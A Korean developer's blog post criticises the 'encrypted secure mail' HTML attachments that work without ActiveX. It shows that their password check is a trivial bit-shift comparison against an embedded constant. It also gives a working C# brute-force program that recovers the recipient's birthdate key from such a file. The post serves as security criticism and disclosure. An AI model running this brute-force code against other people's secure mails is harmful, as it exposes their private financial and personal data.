Microsoft MVP성태의 닷넷 이야기
글쓴 사람
정성태 (techsharer at outlook.com)
홈페이지
첨부 파일
 

ActiveX 없는 전자 메일에 사용된 "개인정보 보호를 위해 암호화된 보안메일"의 문제점

예전에는, 전자 메일에 아래와 같은 식의 보안이 필요한 HTML 파일이 첨부된 경우,

secure_mail_1.png

보통은 Internet Explorer로만 열어야 했습니다. 왜냐하면, 복호화를 위해 ActiveX를 사용했기 때문인데, 어느 순간부터 해당 HTML 파일이 "Edge"나 "Chrome" 웹 브라우저에서도 잘 열리는 것이었습니다.

이상하군요... 음... 제가 개발자이다 보니 ^^ HTML 문서만으로 암호화/복호화를 구현하는 것이 쉽지 않다는 것을 알고 있기 때문에 혹시나 하는 마음으로 해당 HTML 파일을 살펴봤습니다.

역시나, 복호화 코드는 매우 간단했습니다. 다음과 같이 키값이 인코딩되어 문자열로 HTML 문서에 포함되어 있었고,

"\x31\x35\x37\x32\x38\x36\x34\x30\x30"

사용자가 HTML Form에 입력한 값을 다음과 같이 비교하는 것이 전부였습니다.

if (Math.abs(pwd << pwd) != unescape('\x31\x35\x37\x32\x38\x36\x34\x30\x30'))
{
    alert('비밀번호가 일치하지 않습니다.');
    document.frm.pwd.value = '';
    document.frm.pwd.focus();
    return;
}

그러니까, 사용자가 "690101"이라고 생년월일을 입력했다면 그 자체를 숫자로 취급해 다음과 같이 shift 연산을 한 다음,

var shiftedValue = 690101 << 690101;

그 결과에 절댓값만 취한 후 HTML에 포함되어 있던 인코딩 문자열("\x31\x35\x37\x32\x38\x36\x34\x30\x30")과 비교하는 것으로 사용자 인증이 이뤄집니다.

Math.abs(shiftedValue) != unescape('\x31\x35\x37\x32\x38\x36\x34\x30\x30')

따라서, "개인정보 보호를 위해 암호화된 보안메일"이라고 되어 있는 그 HTML 파일만 입수한다면, 그 주인이 누구인지에 상관없이 다음과 같이 쉽게 brute force 방식의 코드를 만들어 키를 알아낼 수 있습니다. (또는, 보안 HTML 파일 내의 javascript에 적절하게 loop만 돌려주어도 됩니다.)

using System;
using System.Web;

namespace ConsoleApp1
{
    class Program
    {
        static void Main(string[] args)
        {
            string encrypted = "\x31\x35\x37\x32\x38\x36\x34\x30\x30";

            string expected = HttpUtility.UrlDecode(encrypted);

            DateTime now = DateTime.Now;

            // 나이가 대충 100살 이내라고 가정하고,
            DateTime candidate = new DateTime(now.Year - 100, now.Month, now.Day, 0, 0, 1);

            for (int i = 1; i <= 100 * 12 * 31; i++)
            {
                candidate = candidate.AddDays(1);
                string result = candidate.ToString("yyMMdd");

                int value = Int32.Parse(result);
                long shifted = (value << value);

                string key = ((int)Math.Abs(shifted)).ToString();

                if (key == expected)
                {
                    Console.WriteLine("Your key is " + result);
                }
            }
        }
    }
}




사실, 너무나 쉽게 풀리는 암호화라는 측면에서 이 정도면 거의 "인코딩"에 가까운 보안 수준입니다. 그렇긴 한데, 참 쉽지 않은 문제 같습니다. ActiveX를 사용하자니 플랫폼 제약이 생기고, 쓰지 않자니 저렇게 허술한 "암호화된 보안메일"로 구현이 되고!!!

그나저나, 조금 찾아보니 괜찮아 보이는 메일 암호화 제품들이 나오고 있는 것 같습니다.

Unisafe Mail - Non-ActiveX 방식의 메일 암호화 솔루션
; http://www.unisecure.co.kr/sub02.html

저 제품의 경우, 암호화 알고리즘만큼은 최소한 AES, SHA-256 등의 단어를 쓰는 걸로 봐서 구색은 갖춘 것 같습니다. 게다가 "시간당 50만 건 처리"와 같은 문구를 보니 서버로의 연결을 필요로 하는 것 같은데 HTML 내에 코드를 포함하는 형식이 아닌 듯하므로 좀 더 안전해 보입니다.




[이 글에 대해서 여러분들과 의견을 공유하고 싶습니다. 틀리거나 미흡한 부분 또는 의문 사항이 있으시면 언제든 댓글 남겨주십시오.]







[최초 등록일: ]
[최종 수정일: 5/25/2017]

Creative Commons License
이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이센스에 따라 이용하실 수 있습니다.
by SeongTae Jeong, mailto:techsharer at outlook.com

비밀번호

댓글 작성자
 




... 136  137  138  139  140  141  [142]  143  144  145  146  147  148  149  150  ...
NoWriterDateCnt.TitleFile(s)
1540정성태11/20/201326579개발 환경 구성: 203. Azure - WEB SITES 서비스 소개 [4]
1539정성태11/19/201330529VS.NET IDE: 83. 형상 관리 서버 운영을 대신해 주는 Visual Studio 온라인 서비스
1538정성태11/19/201331368오류 유형: 195. 웹 사이트의 모든 정적 컨텐츠 요청에 대해 "Internal Server Error" 응답
1537정성태11/19/201322980오류 유형: 194. 윈도우 서버 백업으로 인해 Hyper-V VM들의 상태가 모두 "Backing up..." 상태로 오래 지속되는 문제
1536정성태11/19/201327712오류 유형: 193. 윈도우 서버 백업 - Hyper-V 가상 머신이 백업되지 않는 경우
1535정성태11/18/201327823.NET Framework: 393. Internet Explorer 11에서 ASP.NET 컨트롤의 크기가 달라지는 문제 [1]
1534정성태11/13/201328094.NET Framework: 392. .NET 스레드 콜 스택 덤프 (6) - MDbg를 이용한 방법 [2]파일 다운로드1
1533정성태11/12/201335139기타: 39. Internet Explorer 11에서 유튜브 동영상의 1080p 옵션이 보이지 않는 경우 [5]
1532정성태11/5/201336180Phone: 8. 안드로이드용 Xamarin 개발 시 겪을 만한 시행 착오 정리 [6]
1531정성태11/5/201327376VS.NET IDE: 82. Visual Studio에서 Attach 메서드를 이용해 디버깅을 시작한 경우 Breakpoint가 안 잡힌다면?
1530정성태11/5/201328929기타: 38. 오픈소스로 풀린 하드 디스크 관리 도구 - WindowSMART
1529정성태11/5/201324357오류 유형: 192. SQL 서버 - The transaction log for database '...' is full due to 'LOG_BACKUP'.
1528정성태11/5/201330135디버깅 기술: 58. windbg 분석 사례 - WPF 응용 프로그램의 UI가 반응하지 않는 문제 [5]
1527정성태11/4/201328029VC++: 72. error MIDL2311 - mktyplib compatability mode 컴파일 오류
1526정성태11/3/201324475디버깅 기술: 57. C# - double 값에 대한 windbg 확인
1525정성태11/2/201331158.NET Framework: 391. C# - EXE/DLL로부터 추출한 이미지/아이콘의 배경색 투명 처리 [8]
1524정성태11/2/201332018기타: 37. 프로그램에 보여지는 리소스(예: 아이콘) 추출하는 방법 [1]
1523정성태11/2/201328451VS.NET IDE: 81. Visual Studio 확장 도구 AttachToW3WP - w3wp.exe에 대한 디버거 연결을 자동화하는 도구 [2]
1522정성태11/1/201324867VS.NET IDE: 80. IIS 8.0/8.5 - Global.asax.cs처럼 초기에 실행되는 코드에 Breakpoint를 잡는 방법
1521정성태11/1/201330792VS.NET IDE: 79. IIS 7.5 - Global.asax.cs처럼 초기에 실행되는 코드에 Breakpoint를 잡는 방법
1520정성태10/31/201325290오류 유형: 191. Visual Studio 2010 - 웹 애플리케이션 생성 시 "The project type is not supported by this installation." 오류 발생 해결
1519정성태10/31/201350760기타: 36. SYSTEM 또는 TrustedInstaller 소유로 되어 있는 폴더/파일을 삭제하는 방법 [5]
1518정성태10/30/201328429VS.NET IDE: 78. Visual Studio 확장으로 XmlCodeGenerator 제작하는 방법
1517정성태10/28/201327963디버깅 기술: 56. 덤프 파일에 핸들/스레드 정보를 포함하는 방법 [1]
1516정성태10/28/201333330.NET Framework: 390. FolderBrowserDialog보다 더 쓸만한 대화창이 필요하다면? [1]
1515정성태10/24/201335926VS.NET IDE: 77. Visual Studio 확장(VSIX) 만드는 방법 [5]
... 136  137  138  139  140  141  [142]  143  144  145  146  147  148  149  150  ...